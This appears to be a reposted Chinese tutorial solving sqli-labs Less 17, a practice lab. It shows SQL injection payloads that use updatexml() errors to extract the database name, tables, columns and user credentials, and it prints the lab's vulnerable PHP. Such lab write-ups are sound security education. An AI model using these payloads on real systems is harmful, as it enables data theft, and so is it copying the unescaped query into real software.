zoukankan      html  css  js  c++  java
  • sqli-labs 通关指南:Less 17

    Less 17 的难点在于关卡有 2 个 SQL 语句,其中一个进行了强效的过滤,我们得想办法发现第二个注入点。同时该关卡可以使用报错注入进行攻击。

    判断注入类型

    我们先按照这个网页的功能走一遍,目测是更改密码的页面,输入用户名之后用新密码覆盖旧密码。

    切换到 Less 11 验证一下,可以看到此时 admin 用户的密码已经被我们所修改。

    接下来判断注入类型,使用单引号闭合构造恒真条件,网页回显密码修改失败。

    a' OR 1 = 1#
    


    测试一下所有的注入,发现这些注入网页都回显改密失败。

    a') OR 1 = 1#
    a')) OR 1 = 1#
    a" OR 1 = 1#
    a") OR 1 = 1#
    a")) OR 1 = 1#
    


    抓包得知网页需要利用 POST 方法提交的参数格式如下:

    uname=&passwd=&submit=Submit
    

    接下来对新密码字段进行闭合测试,使用单引号闭合仍然失败。

    uname=a&passwd=a'#&submit=Submit
    


    以下几种注入仍然全部失败。

    uname=a&passwd=a')#&submit=Submit
    uname=a&passwd=a'))#&submit=Submit
    uname=a&passwd=a"#&submit=Submit
    uname=a&passwd=a")#&submit=Submit
    uname=a&passwd=a"))#&submit=Submit
    


    我们切换下思路,之前我们的用户名字段都是随便输入的,现在我们写上一个已知的用户名 admin 再次注入。

    uname=admin&passwd=a'&submit=Submit
    


    网页回显改密码成功,并且报了一个语法错误,说明 passwd 使用单引号进行闭合。同时我们可以推测这个关卡有 2 次查询,第一次是根据 uname 参数进行查询,判断要改密码的用户是否存在。第二次查询时根据要改密码的用户,把 passwd 参数覆盖原密码,这里在第二次查询有注入点。

    updatexml() 报错注入

    我们将使用 updatexml() 报错注入,该函数用于改变 XML 文档中符合条件的节点的值。函数原型为:

    UPDATEXML (XML_document, XPath_string, new_value); 
    
    参数 说明
    XML_document String,XML 文档对象的名称
    XPath_string Xpath 格式的字符串
    new_value String,用于替换查找到的符合条件的数据

    其中参数 XPath_string 需要是 “/xxx/xxx/…” 的格式,进行查询时将会按照这个参数进行操作。注意如果 XPath_string 是个错误的路径,但是该路径符合 Xpath 的规范就不会报错。反之 XPath_string 的格式错误时就会触发报错,我们要利用的就是这一点,通过 updatexml() 函数的报错回显我们需要的信息。
    为了更好地理解 updatexml() 报错注入,我们利用 updatexml() 函数获取下当前使用的 MySql 版本。

    uname=admin&passwd=' OR updatexml(1,concat("!",version()),2)#&submit=Submit
    

    为什么可以返回 MySql 版本?因为我们使用单引号闭合了 passwd 参数所在的 Sql 语句的前面的部分,使用 OR 连接的 updatexml() 函数就会被执行。updatexml() 函数会在 “concat("!",version())” 路径下查找 “1”,若查找成功就将其替换为 “2”。不过我们使用 concat() 函数在 verion() 的返回值前加了个 “!”,使得 XPath_string 的内容不符合 Xpath 的规范触发报错,报错回显的内容就是感叹号带上 verison() 函数的返回值。

    获取数据库信息

    爆库名,利用 updatexml() 报错回显数据库名。

    uname=admin&passwd=' OR updatexml(1,concat("!",database()),2)#&submit=Submit
    


    爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。

    uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#&submit=Submit
    


    爆字段名,继续使用 updatexml() 报错注入。

    uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)#&submit=Submit
    

    获取目标信息

    使用报错注入回显用户名和密码,发现网页回显 “You can't specify target table 'users' for update in FROM clause”。

    uname=admin&passwd=' OR updatexml(1,concat('!',(SELECT group_concat(':',username,password) FROM users)),1)# &submit=Submit
    


    这里我们无法直接从 users 表拿数据,我们可以先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。构造出的 payload 如下,思路就是利用一个查询从另一个查询中取出数据,以此绕过表的限制。

    uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#submit=submit
    


    通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。

    uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 1,1)),1))#submit=submit
    

    关卡 Sql 语句

    Sql 查询

    源码如下,服务器先对用户名进行查询,若用户名存在则用传进的参数 passwd 覆盖掉原来的密码。也就是说只有当第一个 SELECT 执行成功时,UPDATE 语句才会被执行。为什么我们无法对 SELECT 语句进行注入?注意到 SELECT 是针对 uname 参数进行查询,但是当 uname 参数被传入时进入了 check_input() 函数,从而怀疑 check_input() 函数对传入的字符串进行了过滤。

    $uname = check_input($_POST['uname']);  
    $passwd = $_POST['passwd'];
    
    // connectivity 
    @$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    
    //echo $row;
    if($row)
    {
          //echo '<font color= "#0000ff">';	
          $row1 = $row['username'];  	
          //echo 'Your Login name:'. $row1;
          $update = "UPDATE users SET password = '$passwd' WHERE username='$row1'";
          mysql_query($update);
          //echo "<br>";	
    	
          if (mysql_error())
          {
                echo '<font color= "#FFFF00" font size = 3 >';
                print_r(mysql_error());
                echo "</br></br>";
                echo "</font>";
          }
          else
          {
                echo '<font color= "#FFFF00" font size = 3 >';
                //echo " You password has been successfully updated " ;		
                echo "<br>";
    	    echo "</font>";
          }
          
          echo '<img src="../images/flag1.jpg"   />';	
          //echo 'Your Password:' .$row['password'];
          echo "</font>";
    }
    else  
    {
          echo '<font size="4.5" color="#FFFF00">';
          //echo "Bug off you Silly Dumb hacker";
          echo "</br>";
          echo '<img src="../images/slap1.jpg"   />';
          echo "</font>";  
    }
    

    check_input() 函数

    源码如下,可以明显看到该函数对 uname 参数进行了强效的过滤。首先函数使用了 substr() 函数截取 uname 的前 15 位字符,限制了 uname 的输入长度。接着使用 get_magic_quotes_gpc() 函数判断 “magic_quotes_gpc” 是否是开启的,若是开启的就使用 stripslashes() 函数对单引号、双引号、反斜杠与 NULL等危险的字符进行转义。接着使用 ctype_digit() 函数判断 uname 是否为数字,若不是数字就使用 mysql_real_escape_string() 函数对字符进行转义,否则就使用 intval() 函数把数字转换为整型。

    function check_input($value)
    {
          if(!empty($value))
          {
                // truncation (see comments)
                $value = substr($value,0,15);
          }
    
          // Stripslashes if magic quotes enabled
          if (get_magic_quotes_gpc())
          {
                $value = stripslashes($value);
          }
          
          // Quote if not a number
          if (!ctype_digit($value))
          {
                $value = "'" . mysql_real_escape_string($value) . "'";
          }
          else
          {
                $value = intval($value);
          }
          return $value;
    }
    

    由此可见对 SELECT 语句的过滤是很强的,我们把通过 uname 参数注入 “a' OR 1 = 1#” 经过滤处理的 SELECT 语句输出来看看。可以看到经过转义,我们无法从该语句进行注入。

    但是 UPDATE 语句并没有进行过滤,因此当我们可以绕过 SELECT 语句时,就可以通过 UPDATE 进行注入。为了加深理解,我们把注入后闭合的 UPDATE 语句输出来看看。

    UPDATE users SET password = '' OR updatexml(1,concat("!",database()),2)#' WHERE username='admin'
    

  • 相关阅读:
    【json的处理】一、Gson处理
    【校验处理】三、Spring Validation 校验处理
    【校验处理】二、SpringBoot Validate 统一处理
    【校验处理】一、Java Bean Validation验证
    div 固定宽高 水平垂直居中方法
    vue 修改ElementUI样式(非全局修改)
    js --- execCommand('copy')复制文本到剪切板换行符不生效
    C#枚举(一)使用总结以及扩展类分享
    php执行时长
    关于PHP的编码格式导致的乱码
  • 原文地址:https://www.cnblogs.com/linfangnan/p/13834250.html
Copyright © 2011-2022 走看看